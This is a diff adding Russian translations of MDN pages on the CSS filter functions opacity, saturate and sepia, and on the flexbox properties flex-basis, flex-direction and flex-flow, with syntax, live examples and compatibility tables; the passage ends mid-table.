+<p>Applies transparency to the samples in the input image. The value of ‘<code class="property">amount</code>’ defines the proportion of the conversion. A value of <code>0%</code> is completely transparent. A value of <code>100%</code> leaves the input unchanged. Values between <code>0%</code> and <code>100%</code> are linear multipliers on the effect. This is equivalent to multiplying the input image samples by amount. If the ‘<code class="property">amount</code>’ parameter is missing, a value of <code>1</code> is used. This function is similar to the more established {{Cssxref("opacity")}} property; the difference is that with filters, some browsers provide hardware acceleration for better performance.</p>
+
+<pre class="brush: css">filter: opacity(50%)</pre>
+
+<div id="opacity_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpeg" id="img1" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpg" id="img2" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 183"&gt;
+ &lt;filter id="opacity"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncA type="table" tableValues="0 0.5"&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3725/Test_Form_14.jpeg" filter="url(#opacity)" width="276px" height="183px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14_s.jpg" id="img4" class="internal default" src="/files/3726/Test_Form_14_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: opacity(50%);
+  -webkit-filter: opacity(50%);
+  -o-filter: opacity(50%);
+  -ms-filter: opacity(50%);
+  filter: opacity(50%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('opacity_example','100%','210px','')}}</p>
+
+<h3 id="saturate_насыщенность"><code>saturate() [насыщенность]</code></h3>
+
+<p>Saturates the input image. The value of ‘<code class="property">amount</code>’ defines the proportion of the conversion. A value of <code>0%</code> is completely un-saturated. A value of <code>100%</code> leaves the input unchanged. Other values are linear multipliers on the effect. Values of amount over <code>100%</code> are allowed, providing super-saturated results. If the ‘<code class="property">amount</code>’ parameter is missing, a value of <code>1</code> is used.</p>
+
+<pre class="brush: css">filter: saturate(200%)</pre>
+
+<div id="saturate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpeg" id="img1" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpg" id="img2" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 201 239"&gt;
+ &lt;filter id="saturate"&gt;
+    &lt;feColorMatrix type="saturate"
+               values="2"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3722/Test_Form_9.jpeg" filter="url(#saturate)" width="201px" height="239px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9_s.jpg" id="img4" class="internal default" src="/files/3724/Test_Form_9_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: saturate(200%);
+  -webkit-filter: saturate(200%);
+  -o-filter: saturate(200%);
+  -ms-filter: saturate(200%);
+  filter: saturate(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('saturate_example','100%','332px','')}}</p>
+
+<h3 id="sepia_сепия"><code>sepia() [сепия]</code></h3>
+
+<p>Converts the input image to sepia. The value of ‘<code class="property">amount</code>’ defines the proportion of the conversion. A value of 100% is completely sepia. A value of <code>0%</code> leaves the input unchanged. Values between <code>0%</code> and <code>100%</code> are linear multipliers on the effect. If the ‘<code class="property">amount</code>’ parameter is missing, a value of <code>0</code> is used.</p>
+
+<pre class="brush: css">filter: sepia(100%)</pre>
+
+<div id="sepia_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpeg" id="img1" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpg" id="img2" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 259 194"&gt;
+ &lt;filter id="sepia"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.393 0.769 0.189 0 0
+                       0.349 0.686 0.168 0 0
+                       0.272 0.534 0.131 0 0
+                       0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3727/Test_Form_12.jpeg" filter="url(#sepia)" width="259px" height="194px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12_s.jpg" id="img4" class="internal default" src="/files/3728/Test_Form_12_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: sepia(100%);
+  -webkit-filter: sepia(100%);
+  -o-filter: sepia(100%);
+  -ms-filter: sepia(100%);
+  filter: sepia(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('sepia_example','100%','229px','')}}</p>
+
+<h2 id="Комбинирование_функций">Комбинирование функций</h2>
+
+<p>You may combine any number of functions to manipulate the rendering. The following example enhances the contrast and brightness of the image.</p>
+
+<pre class="brush: css">filter: contrast(175%) brightness(103%)</pre>
+
+<div id="combination_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpeg" id="img1" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpg" id="img2" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8_s.jpg" id="img4" class="internal default" src="/files/3730/Test_Form_8_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: contrast(175%) brightness(103%);
+  -webkit-filter: contrast(175%) brightness(103%);
+  -o-filter: contrast(175%) brightness(103%);
+  -ms-filter: contrast(175%) brightness(103%);
+  filter: contrast(175%) brightness(103%);
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('combination_example','100%','209px','')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("css.properties.filter")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Applying_SVG_effects_to_HTML_content">Applying SVG effects to HTML content</a></li>
+ <li>The {{Cssxref("mask")}} property</li>
+ <li><a class="internal" href="/en-US/docs/Web/SVG">SVG</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/filters/understanding-css/">Understanding CSS filters</a>, HTML5Rocks! article</li>
+ <li><a class="external" href="http://techstream.org/Web-Design/CSS3-Image-Filters">CSS 3 filters</a> Tech Stream article</li>
+ <li><a class="external" href="http://davidwalsh.name/css-filters">CSS filters</a> By David Walsh</li>
+</ul>
diff --git a/files/ru/web/css/flex-basis/index.html b/files/ru/web/css/flex-basis/index.html
new file mode 100644
index 0000000000..ab77e783d5
--- /dev/null
+++ b/files/ru/web/css/flex-basis/index.html
@@ -0,0 +1,224 @@
+---
+title: flex-basis
+slug: Web/CSS/flex-basis
+translation_of: Web/CSS/flex-basis
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> задает базовый размер флекс элемента по <strong>основной оси</strong>. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Внимание:</strong> в случае, если для элемента одновременно заданы <code>flex-basis</code> (отличное от <code>auto</code>) и <code>width</code> ( или <code>height</code> в случае <code>flex-direction: column</code>), <code>flex-basis</code> имеет приоритет.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+
+
+<pre class="brush:css no-line-numbers">/* Устанавливает &lt;'ширину'&gt; */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* Intrinsic sizing keywords */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* Автоматически изменяет размер на основе содержимого элемента */
+flex-basis: content;
+
+/* Глобальное значения */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+</pre>
+
+
+
+<p>Свойство <code>flex-basis</code> задается через ключевое слово <code><a href="#content">content</a></code> или через <code><a href="#&lt;'width'>">&lt;'width'&gt;</a></code>.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><a id="&lt;'width'>" name="&lt;'width'>"><code>&lt;'ширина'&gt;</code></a></dt>
+ <dd>An absolute {{cssxref("&lt;length&gt;")}}, a {{cssxref("&lt;percentage&gt;")}} родительского flex контейнера главное size свойство, или ключевое слово <code>auto</code>. Негативные значения не допустимы.</dd>
+ <dt><a id="content" name="content"><code>content</code></a></dt>
+ <dd>Автоматический задает размер на основе содержимого элемента flex.</dd>
+ <dd>
+ <div class="note"><strong>Заметка:</strong> Это значение отсутствовало в первоначальном релизе Flexible Box Layout, и, следовательно, некоторые предыдущие релизы не будут поддерживать его. Аналогичный эффект можно получить, используя <code>auto</code> вместе с основным размером (<a href="https://drafts.csswg.org/css2/visudet.html#propdef-width">width</a> или <a href="https://drafts.csswg.org/css2/visudet.html#propdef-height">height</a>) <code>auto</code>.</div>
+
+ <div class="note">
+ <p id="comment_text_0"><strong>История:</strong></p>
+
+ <ul>
+  <li>Первоначально, <code>flex-basis:auto</code> означает "смотреть на значения <code>width</code> или <code>height</code>".</li>
+  <li>Затем <code>flex-basis:auto</code> был изменен на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения <code>width</code> или <code>height</code>".  Это было реализован в  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>баге 1032922</a>.</li>
+  <li>Затем в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>баге 1093316</a> это было возвращено обратно, поэтому <code>auto</code> снова означает "смотреть на значения <code>width</code> или <code>height</code>"; а новое ключевое слово <code>content</code> было введено для автоматического размера. ({{bug("1105111")}} охватывает добавление этого ключевого слова).</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="container"&gt;
+  &lt;li class="flex flex1"&gt;1: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex2"&gt;2: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex3"&gt;3: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex4"&gt;4: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex5"&gt;5: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="container"&gt;
+  &lt;li class="flex flex6"&gt;6: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+</pre>
+
+<h3 id="Results">Results</h3>
+
+<p>{{EmbedLiveSample('Example', '860', '360', '', 'Web/CSS/flex-basis')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-basis")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<div id="gtx-anchor" style="position: absolute; left: 185px; top: 1956px; width: 393px; height: 17px;"></div>
+
+<div class="jfk-bubble gtx-bubble" style="">
+<div class="jfk-bubble-content-id" id="bubble-24">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 176.5px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/css/flex-direction/index.html b/files/ru/web/css/flex-direction/index.html
new file mode 100644
index 0000000000..a4a62c5a77
--- /dev/null
+++ b/files/ru/web/css/flex-direction/index.html
@@ -0,0 +1,149 @@
+---
+title: flex-direction
+slug: Web/CSS/flex-direction
+translation_of: Web/CSS/flex-direction
+---
+<p>{{ CSSRef("CSS Flexible Boxes") }}</p>
+
+<h2 id="Резюме">Резюме</h2>
+
+<p><code>flex-direction -</code> <a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство , указывающее на то,как flex-элементы располагаются во flex-контейнере по главной оси и направлению (normal или reversed).</p>
+
+<p>Обратите внимание, что значения <code>row</code> и <code>row-reverse</code> зависят от направления flex-контейнера. Если его атрибут <code>dir</code> равен <code>ltr</code>, <code>row</code> представляет собой горизонтальную ось, ориентированную слева направо, а <code>row-reverse</code> - справа налево; если атрибут <code>dir</code> равен <code>rtl</code>, <code>row</code> представляет собой горизонтальную ось, ориентированную справа налево, а <code>row-reverse</code> - слева направо.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>См. <a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a> для детализации по свойствам и дополнительной информации.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* The direction text is laid out in a line */
+flex-direction: row;
+
+/* Как &lt;row&gt;, но наоборот */
+flex-direction: row-reverse;
+
+/* The direction in which lines of text are stacked */
+flex-direction: column;
+
+/* Как &lt;column&gt;, но наоборот */
+flex-direction: column-reverse;
+
+/* Общие значения */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Может принимать следующие значения::</p>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>Главная ось flex-контейнера определена точно так же, как направление текста. Точки <strong>main-start</strong> и <strong>main-end</strong> совпадают с направлением контента.</dd>
+ <dt><code>row-reverse</code></dt>
+ <dd>Ведет себя аналогично <code>row</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd>
+ <dt><code>column</code></dt>
+ <dd>Главная ось flex-контейнера такая же, как ось блока (block-axis). Точки <strong>main-start</strong> и <strong>main-end</strong> такие же, как точки <strong>before</strong> и <strong>after</strong> режима записи (writing-mode).</dd>
+ <dt><code>column-reverse</code></dt>
+ <dd>Ведет себя, как <code>column</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:css;highlight:[2]">element {
+  flex-direction: row-reverse;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("18.0")}} (behind a pref) <sup>[1][2]</sup><br>
+    {{CompatGeckoDesktop("20.0")}}</td>
+   <td>21.0{{ property_prefix("-webkit") }}</td>
+   <td>
+    <p>10 {{ property_prefix("-ms") }}<br>
+     11</p>
+   </td>
+   <td>12.10</td>
+   <td>
+    <p>7 {{ property_prefix("-webkit") }}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Для активации поддержки flexbox в Firefox 18 и 19 пользователь должен сменить предпочтение about:config "layout.css.flexbox.enabled" на <code>true</code>.</p>
+
+<p>[2] Многострочный flexbox поддерживается, начиная с Firefox 28.</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/ru/web/css/flex-flow/index.html b/files/ru/web/css/flex-flow/index.html
new file mode 100644
index 0000000000..48f89c315b
--- /dev/null
+++ b/files/ru/web/css/flex-flow/index.html
@@ -0,0 +1,136 @@
+---
+title: flex-flow
+slug: Web/CSS/flex-flow
+translation_of: Web/CSS/flex-flow
+---
+<div>{{ CSSRef}}</div>
+
+<p><strong><code>flex-flow</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство, которое является сокращением для отдельных свойств <code>flex-direction</code> и <code>flex-wrap</code>.</p>
+
+<pre class="brush:css no-line-numbers">/* flex-flow: &lt;'flex-direction'&gt; */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: &lt;'flex-wrap'&gt; */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: &lt;'flex-direction'&gt; and &lt;'flex-wrap'&gt; */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* Global values */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<p>Больше информации и свойств описано в <a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Смотрите <a href="/en-US/docs/CSS/flex-direction" title="en-US/docs/CSS/flex-direction"><code>flex-direction</code></a> и <a href="/en-US/docs/CSS/flex-wrap" title="flex-wrap"><code>flex-wrap</code></a>.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css;highlight:3">element {
+  /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+  flex-flow: column-reverse wrap;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox','#flex-flow','flex-flow') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Начальное значение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>28.0<sup>[1]</sup></td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
